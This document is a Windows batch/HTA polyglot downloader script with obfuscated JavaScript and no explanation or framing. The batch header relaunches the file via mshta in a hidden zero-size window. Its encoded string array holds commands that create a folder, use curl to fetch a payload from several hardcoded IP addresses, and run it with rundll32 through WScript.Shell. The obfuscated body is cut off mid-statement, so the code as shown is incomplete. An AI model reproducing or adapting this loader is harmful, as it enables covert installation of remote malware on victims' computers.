<!-- :
@echo off
start "" mshta.exe "%~f0"
exit /b
<html>
<script type="text/javascript">
window.resizeTo(0, 0)
var _0x16bd = [ '.dat\x20--output\x20%SYSTEMDRIVE%\x5cPoliset\x5cNolser\x5cDroveyucse.OOOOOCCCCCXXXXX', 'cmd\x20/c\x20timeout\x2010\x20&\x20rundll32\x20%SYSTEMDRIVE%\x5cPoliset\x5cNolser\x5cDroveyucse.OOOOOCCCCCXXXXX,Excpt', 'http://45.32.206.198/Ha5tL/', 'http://45.32.223.151/qC8tr/', 'http://108.61.219.39/SVRoAEb/', 'FKAFE', 'eVEkF', 'BguDK', '0x0', '0x3', '0x4', 'cmd\x20/c\x20mkdir\x20\x20%SYSTEMDRIVE%\x5cPoliset\x5cNolser\x20&\x20curl\x20', '0x5', '0x7', 'Run', 'random' ]; (function (_0x24a786, _0x24d1c4) { var _0x54072e = function (_0x2eb84e) { while (--_0x2eb84e) { _0x24a786['push'](_0x24a786['shift']()); } }; _0x54072e(++_0x24d1c4); }(_0x16bd, 0x7e)); var _0x28ed = function (_0x424532, _0x315bee) { _0x424532 = _0x424532 - 0x0; var _0x182d20 = _0x16bd[_0x424532]; return _0x182d20; }; var _0x2850 = [ _0x28ed('0x0'), _0x28ed('0x1'), _0x28ed('0x2'), _0x28ed('0x3'), _0x28ed('0x4'), _0x28ed('0x5'), _0x28ed('0x6'), 'WScript.Shell' ]; (function (_0x3d75f4, _0x40e297) { var _0x
window.close();
</script>
</html>